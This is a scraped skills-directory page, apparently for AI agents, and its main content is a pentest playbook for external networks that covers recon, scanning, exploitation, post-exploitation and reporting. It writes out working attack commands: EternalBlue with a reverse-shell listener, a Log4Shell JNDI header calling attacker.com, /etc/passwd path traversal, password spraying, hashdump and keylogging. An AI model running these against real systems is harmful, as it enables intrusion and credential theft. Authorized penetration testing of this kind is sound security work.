[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFS99EGNAV9TQ3TTE15BY0":3,"skill-same:01M6AFS99EGNAV9TQ3TTE15BY0":129},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AFS99EGNAV9TQ3TTE15BY0","performing-external-network-penetration-test",null,"Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"performing external network penetration test","test","network","Nmap","OSSTMM","PTES","external-pentest","vulnerability-assessment","t1059","t1078","exploitation","Metasploit","testing","reconnaissance","network-security","reporting","assessment","infrastructure","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-external-network-penetration-test\ndescription: Conduct a comprehensive external network penetration test to identify\n  vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance,\n  scanning, exploitation, and reporting.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- external-pentest\n- network-security\n- PTES\n- OSSTMM\n- Nmap\n- Metasploit\n- vulnerability-assessment\n- reconnaissance\n- exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1592\n---\n\n# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n","# Performing External Network Penetration Test\n\n## Overview\n\nAn external network penetration test simulates a real-world attacker targeting an organization's internet-facing assets such as firewalls, web servers, mail servers, DNS servers, VPN gateways, and cloud endpoints. The objective is to identify exploitable vulnerabilities before malicious actors do, following frameworks like PTES (Penetration Testing Execution Standard), OSSTMM, and NIST SP 800-115.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing external network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization (Rules of Engagement document signed by asset owner)\n- Defined scope: IP ranges, domains, subdomains, and exclusions\n- Testing environment: Kali Linux or Parrot OS with updated tools\n- VPN\u002Fdedicated testing infrastructure to avoid IP blocks\n- Coordination with SOC\u002FNOC for timing windows\n\n## Phase 1 — Pre-Engagement and Scoping\n\n### Define Rules of Engagement\n\n```\nScope:\n  - Target IP ranges: 203.0.113.0\u002F24, 198.51.100.0\u002F24\n  - Domains: *.target.com, *.target.io\n  - Exclusions: 203.0.113.50 (production DB), *.staging.target.com\n  - Testing window: Mon-Fri 22:00-06:00 UTC\n  - Emergency contact: SOC Lead — +1-555-0100\n  - Authorization ID: PENTEST-2025-EXT-042\n```\n\n### Legal Documentation Checklist\n\n| Document | Status | Owner |\n|----------|--------|-------|\n| Master Service Agreement (MSA) | Signed | Legal |\n| Statement of Work (SOW) | Signed | PM |\n| Rules of Engagement (RoE) | Signed | CISO |\n| Get-Out-of-Jail Letter | Signed | CTO |\n| NDA | Signed | Legal |\n| Insurance Certificate | Verified | Risk |\n\n## Phase 2 — Reconnaissance (Information Gathering)\n\n### Passive Reconnaissance\n\n```bash\n# OSINT — Subdomain enumeration\nsubfinder -d target.com -o subdomains.txt\namass enum -passive -d target.com -o amass_subs.txt\ncat subdomains.txt amass_subs.txt | sort -u > all_subs.txt\n\n# DNS record enumeration\ndig target.com ANY +noall +answer\ndig target.com MX +short\ndig target.com NS +short\ndig target.com TXT +short\n\n# WHOIS and ASN lookup\nwhois target.com\nwhois -h whois.radb.net -- '-i origin AS12345'\n\n# Certificate Transparency log search\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%.target.com&output=json\" | jq '.[].name_value' | sort -u\n\n# Google dorking\n# site:target.com filetype:pdf\n# site:target.com inurl:admin\n# site:target.com intitle:\"index of\"\n\n# Shodan enumeration\nshodan search \"org:Target Corp\" --fields ip_str,port,product\nshodan host 203.0.113.10\n\n# Email harvesting\ntheHarvester -d target.com -b all -l 500 -f theharvester_results\n\n# GitHub\u002FGitLab secret scanning\ntrufflehog github --org=targetcorp --concurrency=5\ngitleaks detect --source=https:\u002F\u002Fgithub.com\u002Ftargetcorp\u002Frepo\n```\n\n### Active Reconnaissance\n\n```bash\n# Host discovery — ping sweep\nnmap -sn 203.0.113.0\u002F24 -oG ping_sweep.gnmap\n\n# TCP SYN scan — top 1000 ports\nnmap -sS -sV -O -T4 203.0.113.0\u002F24 -oA tcp_scan\n\n# Full TCP port scan\nnmap -sS -p- -T4 --min-rate 1000 203.0.113.0\u002F24 -oA full_tcp\n\n# UDP scan — top 100 ports\nnmap -sU --top-ports 100 -T4 203.0.113.0\u002F24 -oA udp_scan\n\n# Service version and script scan\nnmap -sV -sC -p 21,22,25,53,80,110,143,443,445,993,995,3389,8080,8443 203.0.113.0\u002F24 -oA service_scan\n\n# SSL\u002FTLS enumeration\nsslscan 203.0.113.10:443\ntestssl.sh --full https:\u002F\u002Ftarget.com\n\n# Web technology fingerprinting\nwhatweb -v https:\u002F\u002Ftarget.com\nwappalyzer https:\u002F\u002Ftarget.com\n```\n\n## Phase 3 — Vulnerability Analysis\n\n### Automated Scanning\n\n```bash\n# Nessus scan (via CLI)\nnessuscli scan --new --name \"External-Pentest-2025\" \\\n  --targets 203.0.113.0\u002F24 \\\n  --policy \"Advanced Network Scan\"\n\n# OpenVAS scan\ngvm-cli socket --xml '\u003Ccreate_task>\n  \u003Cname>External Pentest\u003C\u002Fname>\n  \u003Ctarget id=\"target-uuid\"\u002F>\n  \u003Cconfig id=\"daba56c8-73ec-11df-a475-002264764cea\"\u002F>\n\u003C\u002Fcreate_task>'\n\n# Nuclei vulnerability scanner\nnuclei -l all_subs.txt -t cves\u002F -t exposures\u002F -t misconfigurations\u002F \\\n  -severity critical,high -o nuclei_results.txt\n\n# Nikto web server scan\nnikto -h https:\u002F\u002Ftarget.com -output nikto_results.html -Format htm\n\n# Directory and file enumeration\ngobuster dir -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt \\\n  -x php,asp,aspx,jsp,html,txt -o gobuster_results.txt\nferoxbuster -u https:\u002F\u002Ftarget.com -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fraft-large-words.txt \\\n  --depth 3 -o ferox_results.txt\n```\n\n### Manual Vulnerability Validation\n\n```bash\n# Check for known CVEs on identified services\nsearchsploit apache 2.4.49\nsearchsploit openssh 8.2\n\n# Test for default credentials\nhydra -L \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002Ftop-usernames-shortlist.txt \\\n  -P \u002Fusr\u002Fshare\u002Fseclists\u002FPasswords\u002FCommon-Credentials\u002Ftop-20-common-SSH-passwords.txt \\\n  ssh:\u002F\u002F203.0.113.10 -t 4\n\n# Test VPN endpoints\nike-scan 203.0.113.20\n# Check for IKEv1 aggressive mode\n\n# SNMP enumeration\nsnmpwalk -v2c -c public 203.0.113.30\nonesixtyone -c \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FSNMP\u002Fsnmp-onesixtyone.txt 203.0.113.0\u002F24\n\n# SMTP enumeration\nsmtp-user-enum -M VRFY -U \u002Fusr\u002Fshare\u002Fseclists\u002FUsernames\u002FNames\u002Fnames.txt -t 203.0.113.25\n```\n\n## Phase 4 — Exploitation\n\n### Network Service Exploitation\n\n```bash\n# Metasploit — EternalBlue (MS17-010) example\nmsfconsole -q\nuse exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nset RHOSTS 203.0.113.15\nset LHOST 10.10.14.5\nset LPORT 4444\nexploit\n\n# Apache RCE — CVE-2021-41773 \u002F CVE-2021-42013\ncurl -s --path-as-is \"https:\u002F\u002Ftarget.com\u002Fcgi-bin\u002F.%2e\u002F%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n\n# ProxyShell exploitation (Exchange)\npython3 proxyshell_exploit.py -u https:\u002F\u002Fmail.target.com -e admin@target.com\n\n# Log4Shell (CVE-2021-44228) testing\ncurl -H 'X-Api-Version: ${jndi:ldap:\u002F\u002Fattacker.com\u002Fexploit}' https:\u002F\u002Ftarget.com\u002Fapi\n```\n\n### Web Application Exploitation\n\n```bash\n# SQL Injection with sqlmap\nsqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --dbs --risk=3 --level=5\n\n# XSS payload testing\ndalfox url \"https:\u002F\u002Ftarget.com\u002Fsearch?q=test\" --skip-bav\n\n# Command injection testing\ncommix --url=\"https:\u002F\u002Ftarget.com\u002Fping?host=127.0.0.1\" --batch\n\n# File upload bypass\n# Upload PHP shell with double extension: shell.php.jpg\n# Test content-type bypass: application\u002Foctet-stream -> image\u002Fjpeg\n```\n\n### Password Attacks\n\n```bash\n# Brute force RDP\ncrowbar -b rdp -s 203.0.113.40\u002F32 -u admin -C \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -n 4\n\n# Spray attack against OWA\nsprayhound -U users.txt -p 'Spring2025!' -d target.com -url https:\u002F\u002Fmail.target.com\u002Fowa\n\n# Crack captured hashes\nhashcat -m 5600 captured_ntlmv2.hash \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n```\n\n## Phase 5 — Post-Exploitation\n\n```bash\n# Establish persistence (authorized testing only)\n# Meterpreter session\nmeterpreter> sysinfo\nmeterpreter> getuid\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Privilege escalation check\n# Linux\n.\u002Flinpeas.sh | tee linpeas_output.txt\n# Windows\n.\\winPEAS.exe | tee winpeas_output.txt\n\n# Data exfiltration proof\n# Create proof file (DO NOT exfiltrate real sensitive data)\necho \"PENTEST-PROOF-$(date +%Y%m%d)\" > \u002Ftmp\u002Fpentest_proof.txt\n\n# Network pivoting through compromised host\n# Set up SOCKS proxy via SSH\nssh -D 9050 user@203.0.113.15\nproxychains nmap -sT -p 80,443,445 10.0.0.0\u002F24\n\n# Screenshot and evidence collection\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n## Phase 6 — Reporting\n\n### Finding Classification (CVSS v3.1)\n\n| Severity | CVSS Range | Count | Example |\n|----------|-----------|-------|---------|\n| Critical | 9.0-10.0 | 2 | RCE via unpatched Exchange (ProxyShell) |\n| High | 7.0-8.9 | 5 | SQL Injection in customer portal |\n| Medium | 4.0-6.9 | 8 | Missing security headers, TLS 1.0 |\n| Low | 0.1-3.9 | 12 | Information disclosure via server banners |\n| Info | 0.0 | 6 | Open ports documentation |\n\n### Report Structure\n\n```\n1. Executive Summary\n   - Scope and objectives\n   - Key findings summary\n   - Risk rating overview\n   - Strategic recommendations\n\n2. Technical Findings\n   For each finding:\n   - Title and CVSS score\n   - Affected asset(s)\n   - Description and impact\n   - Steps to reproduce (with screenshots)\n   - Evidence\u002Fproof of exploitation\n   - Remediation recommendation\n   - References (CVE, CWE)\n\n3. Methodology\n   - Tools used\n   - Testing timeline\n   - Frameworks followed (PTES, OWASP)\n\n4. Appendices\n   - Full scan results\n   - Network diagrams\n   - Raw tool output\n```\n\n## Remediation Priority Matrix\n\n| Priority | Timeline | Action |\n|----------|----------|--------|\n| P1 — Critical | 24-48 hours | Patch RCE vulnerabilities, disable exposed admin panels |\n| P2 — High | 1-2 weeks | Fix injection flaws, implement MFA |\n| P3 — Medium | 30 days | Harden TLS configs, add security headers |\n| P4 — Low | 60-90 days | Remove version banners, update documentation |\n\n## Tools Reference\n\n| Tool | Purpose | License |\n|------|---------|---------|\n| Nmap | Port scanning and service enumeration | GPLv2 |\n| Metasploit | Exploitation framework | BSD |\n| Burp Suite Pro | Web application testing | Commercial |\n| Nuclei | Vulnerability scanning | MIT |\n| Subfinder | Subdomain enumeration | MIT |\n| SQLMap | SQL injection testing | GPLv2 |\n| Nessus | Vulnerability scanner | Commercial |\n| Gobuster | Directory brute-forcing | Apache 2.0 |\n| Hashcat | Password cracking | MIT |\n| theHarvester | OSINT email\u002Fdomain harvesting | GPLv2 |\n\n## References\n\n- PTES (Penetration Testing Execution Standard): http:\u002F\u002Fwww.pentest-standard.org\u002F\n- OWASP Testing Guide v4.2: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002F\n- NIST SP 800-115: Technical Guide to Information Security Testing: https:\u002F\u002Fcsrc.nist.gov\u002Fpublications\u002Fdetail\u002Fsp\u002F800-115\u002Ffinal\n- OSSTMM v3: https:\u002F\u002Fwww.isecom.org\u002FOSSTMM.3.pdf\n- MITRE ATT&CK: https:\u002F\u002Fattack.mitre.org\u002F\n",{"name":5,"tags":49,"author":50,"domain":42,"license":15,"version":51,"nist_csf":52,"subdomain":57,"description":7,"mitre_attack":58},[30,38,29,28,27,35,31,37,34],"mahipal","1.0",[53,54,55,56],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[59,60,61,62,63],"T1595","T1190","T1059","T1078","T1592","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-external-network-penetration-test",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-external-network-penetration-test",{"tool":80,"command":81},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-external-network-penetration-test",{"tool":83,"command":84},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-external-network-penetration-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002FSKILL.md",true,[88,94,99,105,109,113,119,123],{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"assets\u002Ftemplate.md","ASSET","资产文件",3481,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fassets\u002Ftemplate.md",{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002FLICENSE",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md","REFERENCE","参考文档",1680,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fstandards.md",2064,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fstandards.md",{"path":110,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":111,"sourceHtmlUrl":112},"references\u002Fworkflows.md",4261,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Freferences\u002Fworkflows.md",{"path":114,"resourceType":115,"resourceTypeDesc":116,"sizeBytes":117,"sourceHtmlUrl":118},"scripts\u002Fagent.py","SCRIPT","脚本",5752,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fscripts\u002Fagent.py",{"path":120,"resourceType":115,"resourceTypeDesc":116,"sizeBytes":121,"sourceHtmlUrl":122},"scripts\u002Fprocess.py",14076,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-external-network-penetration-test\u002Fscripts\u002Fprocess.py",{"path":124,"resourceType":125,"resourceTypeDesc":126,"sizeBytes":127,"sourceHtmlUrl":128},"SKILL.md.tmpl","OTHER","其他",7780,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fsetup-deploy\u002FSKILL.md.tmpl",[130,158,182,205,231,258],{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":